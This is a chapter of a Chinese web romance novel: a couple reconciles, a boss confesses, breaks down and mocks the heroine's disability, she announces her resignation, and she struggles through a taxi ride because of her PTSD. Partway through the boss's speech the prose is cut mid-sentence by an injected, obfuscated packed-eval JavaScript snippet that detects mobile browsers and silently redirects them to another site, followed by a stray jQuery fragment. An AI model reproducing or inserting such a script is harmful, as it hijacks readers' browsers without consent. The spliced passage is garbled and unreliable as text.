姜而淡淡望着他,顾舒昂心里无比煎熬,犹如病人等待检查报告,非常不安与烦躁,即使他们现在是男女朋友关系,她未曾说过爱他,这两个字。
低头用鼻子蹭她的脸庞,希望她能回应自己,回应他的爱。
第一次谈恋爱的顾舒昂不知道怎么处理,此时所发生的一切,只能笨拙地不断去解释,讲述事情的来龙去脉。
他嗓音低沉轻柔道:“你的眼神好可怕,我所说的话全是真话,如有半点假话,随便你处置我。”
余光瞥了瞥姜而,她还是无动于衷,眼睑微微垂下,安静直视前方,仿佛没有在他讲话。
顾舒昂心里五味杂陈,分居一个月时间,明明在出差前,他们在这个房子热情似火,现在她像似木头般,他是不是在姜而心里一点都不重要。
他埋头在姜而颈脖,嘴唇不停在亲吻,嘴巴里不停在说,“姜而,看看我,不要不理我......”
顾舒昂出差这一个月里,姜而明显感觉到他在生活的空缺感。
尤其是,习惯有人帮她吹头发,每天晚上,洗完澡从洗手间出门,自然而然停在沙发前,等待顾舒昂帮她吹头发。
没有听到脚步声,她才反应过来,他出差了。
她缓缓推动轮椅,去柜子里找出吹风机。
每晚复习结束后,房子安安静静,缺少那道为她繁忙的身影。
每次躺在床睡觉时,第一次感觉这个一米五宽的床如此空荡荡。
却多了一项每天必须要做的事情,跟他打视频电话。
每晚八点,顾舒昂准时打视频给她,即使当时在加班。
他在工作,姜而继续复习。
即使相隔千里,依然在对方生活里留下痕迹。
他们相处这大半年时间里,两人除了经常躲避李院与连姨突击上门以外,以及深夜时,其他时间他们如同多年的夫妻般,互助互爱生活着。
同时,顾舒昂尽心尽力辅助她面试,模拟面试现场。
他身袭西装革履,肃穆坐在她对面时,仿若真在面试考场中。
她害怕紧张到手心持续不断在冒汗,嘴巴完全张不开,说不出来话。
一次又一次,一天又一天,重复进行模拟面试,顾舒昂没有说半点重话,还会给姜而做心理疏导,告诉她面试无需害怕,无论成功与否,未来他一直站在她身旁继续奋斗。
在姜而收到他回来的消息,那一瞬间很期待能见到他,在林可莹与石以蓝求着想见顾舒昂时,只是口头不答应,没有过多去阻止。
有一个女人出现,眼底里轻视她,自称与顾舒昂有婚约。
那时,姜而表面没有任何情绪,她知道心里其实是介意,是变扭。
有那一秒钟,她与顾舒昂继续下去,下次会变成捉小三现场。
她是小三,对方是妻子。
脖子传来一阵酥酥麻麻,还痒痒的,才发现顾舒昂在亲吻她的脖子与锁骨,犹如一只闹变扭的大狼狗,求主人抚摸般,时不时轻/咬/出痕迹。
回到他们相遇的第二次,告诉当时的她,所有男人恭维鞠躬对象,有一天在沙发上,求她理理他,完全不敢相信,连想象不可能有。
锁骨传来一阵轻微的刺痛,他在求关注。
现在这一下,比之前稍微用力点,有点痛,姜而轻微嘶声道:“顾舒昂你是狗吗?怎么喜欢/咬/人?”
顾舒昂抬头看她,埋怨道:“你终于肯理我了。”
“好了,你起来,很重。”他几乎趴在姜而身躯,双手牢固揽起她的细腰,姜而双手抵在他胸膛,推了两下,一动不动。
他直勾勾盯着她说:“那你还生我气吗?”
“我刚洗完澡,你好/脏,起来。”姜而不想回答他的问题,瞪了瞪他,把从邱芙梦里收到的还给他,“不然又/弄/脏我,脖子全是口水。”
顾舒昂猛然抱起她,走进洗手间,“对不起,帮你洗干净。”
“不要......”
最终,一个晚上,她洗了两次澡,躺在床上瞬间香甜睡了过去。
顾舒昂侧身环抱姜而,指尖缠绕她的发丝,低头凑近她耳畔,温柔问:“还生我的气吗?”
姜而太累太困,喃喃敷衍嗯了一声。
翌日。
姜而回到办公室,收到来自蓝姐的咖啡投喂,“谢谢蓝姐。”
“不用谢,你应得的。”石以蓝眸光滑落在她脖子上丝巾,嘴角溢不住上扬,忍住笑意问,“小姜,你不热吗?”
现在已九月份,天气依旧偏热。
“什么?”姜而放下包包,疑惑望向她。
石以蓝指了指她的脖子,姜而想都没想,摸到脖子的丝巾,唰一下,耳廓通红,发烫。
姜而一本正经:“新的着装搭配。”
“哦~着装搭配,挺好看的。”石以蓝拿着咖啡,恍然大悟地点点头说。
林可莹今早踩点来,“小姜姐,蓝姐,早上好。”她眼尖进来,一下子,看到桌子上咖啡外带袋,“咖啡!”她连包包来不及放下,捧起咖啡,对石以蓝说,“谢谢蓝姐的咖啡。”
“小姜昨晚和......”她的目光跳到姜而脸上,再往下看见脖子上丝巾,相比石以蓝,距离姜而只是一个转身,自然而然看到丝巾遮不到的痕迹,眼眸须臾瞪大,娇羞坏笑说,“小姜姐,你......你.......天啊,这也太激烈了吧!”
石以蓝也不忍了,“是啊,羡慕,什么时候我也有这么国色天香的男人!”
“是啊!吃得真好。”林可莹话锋一转,“蓝姐您也是,昨晚是谁二话不说,直接抛弃我,投奔向小狼狗怀里,见色忘友。”
昨晚,她们精挑细选一家餐厅,吃到一半,石以蓝不知道第几任小狼狗居然追到餐厅里,直接将人虏走,留下一只可爱的单身狗。
还好小狼狗走之前,把账单给结了,算他有良心。
看着眼前这两个女人,只有她是单身狗,林可莹唏嘘喝了口咖啡,回到工位上工作。
石以蓝耸耸肩,抿唇笑了笑。
姜而见话题从她身上转移,没再说什么,笑了笑坐回工位。
开始劳累的工作。
突然,翟北焱急冲冲进来,怒气冲天道:“姜而,跟我来。”
姜而猛一抬头看他,怔愣道:“是。”
他转身起步回办公室,手里还拿着公文包,是刚回公司的样子。
等翟北焱离开后,她们三人互相对视,疑惑又震惊。
特别是林可莹和石以蓝的脸色,简直是一个巨型调色盘,她们都认为昨天的话,翟北焱全部算在姜而的头上,找她麻烦。
林可莹双唇抿紧,抱歉道:“小姜姐,对不起,我不知道会这样......”
“也有我份。”石以蓝深叹口气说,“如果不是我后面说那些话,翟总怎么会生气呢。”
姜而:“你们说了什么?”
林可莹扭头与石以蓝蔫蔫对视一下,这是她们第一次看到如此生气的翟北焱。
石以蓝开口道:“我说你男朋友比翟总帅,被身后翟总听到,那时,我们完全不知道翟总在身后,真不是故意。”
姜而眨了眨眼睑,大概猜到翟北焱看到了顾舒昂,才会生气,“没事,翟总没有这么小气,不会生这样的气放心吧。”
她快速收拾一下桌面,熄屏后说,“我先去,真不关你们的事。”
姜而走了出去,她们也接受姜而说法,心还是过意不去,林可莹想如果不是她多嘴说了出来,就没有现在的事。
姜而敲了敲门,里面传来一声:“进。”推开门,见到全景落地玻璃前,翟北焱双手叉腰站在前面。
她随手关上门:“翟总,您找我有什么事吗?”
翟北焱仰起头,深呼吸,从昨天傍晚开始,他的心脏没有一刻是顺畅,仿佛生病般难受,喘不过气来。
转身看向门前的姜而,眸光一下子捕捉到她脖子上碍眼的丝巾,指了指一旁的沙发,“先坐下。”
他们正对坐在沙发上,翟北焱的眸光目不转睛盯在她的丝巾,姜而被他看着,浑身不自在,忍不住张口说:“翟总请问找我有什么事?”
“你们是什么时候的事?”翟北焱抬眸直视她问。
她眨了下眼睫,“过年前。”
翟北焱在心里默默算了下时间,“是在我告白前,还是后?”
这个问题现在已经没有意义,他既然知道,姜而不想瞒着,说:“后。”
“为什么?”翟北焱以为她会兜个圈来拖延,没想到回答如此简单又决绝,最终他的心仿若被万箭穿心般疼痛,“为什么是他?你知道他是谁吗?我宁愿对方是一个普通人。”这样他有机会。
姜而嗓音宁静道:“没有为什么,如果翟总是说这件事情,我还有工作,先出去。”
说完,她准备起身。
见她想走,翟北焱激动说:“姜而,你和他是没有结果,他更不会娶你,他的家庭比谢珉越的家庭更加看不起你!”
姜而停下,凝视望着他:“我知道,我知道他是做什么,他的家庭,甚至我们结果,这一切我都知道。”
“翟总,的确您在我最需要帮忙时,伸出援手,给了我一份工作,这份情,我会记一辈子,很尊敬您,如果您需要我帮忙,一定毫不犹豫帮忙。”
“但这不代表您可以如此管教我,希望我们能保持人与人交往的距离。”
“真心不想破坏您在我心目中尊敬的样子。”
闻言,翟北焱顿了顿,疏离且满身是刺的姜而第二次出现,第一次是在社团里,没想到时隔多年,因为一个认识不到一年的男人伤害他的心,眼眸猩红:“你不知道,知道结果为什么还要跟他在一起?”
“你是在浪费宝贵的青春。”
姜而:“因为喜欢。”
翟北焱:“......”
短短四个字,让他满腔言语硬生生憋在胸腔,无法说出口。
她喜欢,喜欢顾舒昂。
那他呢?为什么不能喜欢他?喜欢他有这么难吗?即使没有结果,为什么能与顾舒昂交往?
他可以不要结果,只要姜而愿意与他交往就可以,一直交往下去,他都愿意。
羡慕,嫉妒,恨,蓦然夺走他的理智,心里的痛苦化作泪水,滑过脸庞,滴落到茶几,嗓音颤抖地说:“我也可以,姜而,只是短暂的、没有结果的恋爱,我能接受。”
“偷偷摸摸的,我也能接受。”四年的时间,让姜而已经成为翟北焱一种执念,宛如无论是什么方式,只要与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15151381|158919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她交往,都无所谓。
姜而被眼前这一幕震惊到,他的眼泪一颗一颗滴落,与平时脸上一直带着微笑、温文尔雅的模样完全不同。
第一次见到哭泣的翟北焱,她张口嘴巴,大气都不敢呼吸,瞳孔在地震,不知道怎么安慰他。
“学长......”
她打算现在告诉他想离职的事,继续下去,对他的伤害只多不少。
她俯身抽几张茶几上纸巾,递给他道:“学长,对不起,我没有办法。”
翟北焱瞅见她手上纸巾,在关心他,接过纸巾时,想握住她的手,可她躲了过去,用水汪汪的眼眸埋怨盯着她。
姜而有了上次被他抱住阴影后,对他有警惕性,慌张眨了眨眼睫,“学长,您如此优秀,值得更好,何必纠缠在我这个残疾人身上。”
也许被她这一躲开,翟北焱自尊心渐渐破裂,表情失去控制,冷嘲热讽道:“是啊,姜而你拒绝我,是你的损失,你以为顾舒昂真会喜欢你,只是一时兴起,想看看与残疾人交往有什么猎奇,仅此而且。”
“真认为你魅力有这么大,能让顾舒昂一辈子倒在你的石榴裙下吗?”
“不要太天真,这么幼稚,正常的家庭是很难接受健康子女另一半是残疾人,姜而不要再做什么灰姑娘梦,更不可能是祝英台,因为你不是祝英台,注定被他抛弃。”
姜而没有生气,这样的翟北焱却令她心里默默松了一口气,是时候该说再见了,淡淡说:“我有自我认知,知道他会抛弃我,但没有关系,我愿意。”
“还有,学长,我打算离职,现在可莹慢慢上手,能接替我的位置,后期再招个新人,可莹有能力带领,这个不用担心。”
他满身的怒火瞬间浇灭,这下子慌张起来,“姜而,我没有要赶你走的意思。”
“不是,我今年考/公,最近复习程度来看,上岸的机率有百分之九十可能性。”姜而又说,“我下周把辞职信递给您。”
“姜而。”翟北焱知道,一旦她考上,即使不想,他也拦不住。
须臾,优雅的电话铃声打破僵局,是办公桌上他的手机在响。
姜而抓住机会:“那学长忙,我先回去。”
没有等他点头,姜而快步踏出他的办公室,体内的压力烟消云散,深深地叹气。
她还是搞砸了。
..........
下班时间到。
姜而下班时间一向比顾舒昂早,平常会在公司等他来,经过昨晚和今天的事后。
这里不太适合。
她拿起包包,打算来一次她接顾舒昂下班,之前都是他接,同时检验她历经大半年克服对密闭交通工具ptsd的训练成果。
随便在路边拦截一辆出租车,双手十指紧扣,手心冒汗,她没有准备手帕,像与普通人一样,不需要任何辅助工具,直接坐进出租车里。
没有问题,除了心跳在加速,向出租车师傅报了地址。
汽车平稳启动。
姜而感到一阵恶心,双手捂住嘴巴,能撑过去,双手双脚在抖动发冷。
没有之前连呼吸都是问题,相比较来说,现在的她已经进步许多。
因为塞车,姜而只是坐了三分之二的路程,身体快要躯体化,叫师傅靠边停车,到了她的极限。
扶着电线杆,拼命在咳嗽,路人见到她的双腿假肢,脸色苍白,向前询问需不需要帮助。
她都说休息一下,就没事。
后面她走路大半个小时,顾舒昂打电话给她,让她下来。
姜而低头犹豫道:“我......不在公司。”
“那你现在在哪里?我去找你。”他的声音有些不安。
给他发送位置,姜而站在路边等他来。
一脸红旗L5停在路边,顾舒昂迅速下车,刹那间锁定站在路边的姜而,上上下下打量她一番,确认她没有受伤,才稍微安心些。
“你怎么不在公司等我?”
姜而宛如一个做错事的小孩,鼓起两边脸蛋,挑眸看他:“我想着下班早,每次都是你来接我,想今天反过来,我去接你,打了一辆出租车,想看看我这几个月训练成果,就这样了。”
听到她的解释,顾舒昂的心又甜又酸,她开始为他做事,可她身体承受不住,进医院。
“我们还有时间,慢慢来,不要急,下次你来之前,给我发个微信,我好知道你在哪里,能找到你。”
“好。”
他们紧靠着坐在车内,双手十指紧扣,姜而闻着他身上大草原风吹过的味道,心旷神怡。
顾舒昂想起什么道:“姥姥让我带你去宴会,先回家换衣服,我们一起去。”
姜而回想起前三周前,收到李院九十五岁大寿的邀请,昨晚与今天翟北焱落泪冲击到,忘了这件事。
“我们分开去吧,怕被发现。”
“不会的,是姥姥吩咐我带你去,所以不要害怕。”顾舒昂紧紧抱住她的胳膊,指腹摩挲/裸/露的手臂。
姜而准备一个才艺表演,在李院的生日宴会里表演。
李院不收礼物,不想让大家破费,她已经黄土埋半截,更没有必要,晚辈们在宴会上,表演一个节目作为礼物献给李院,让她开心一下,是最好的礼物。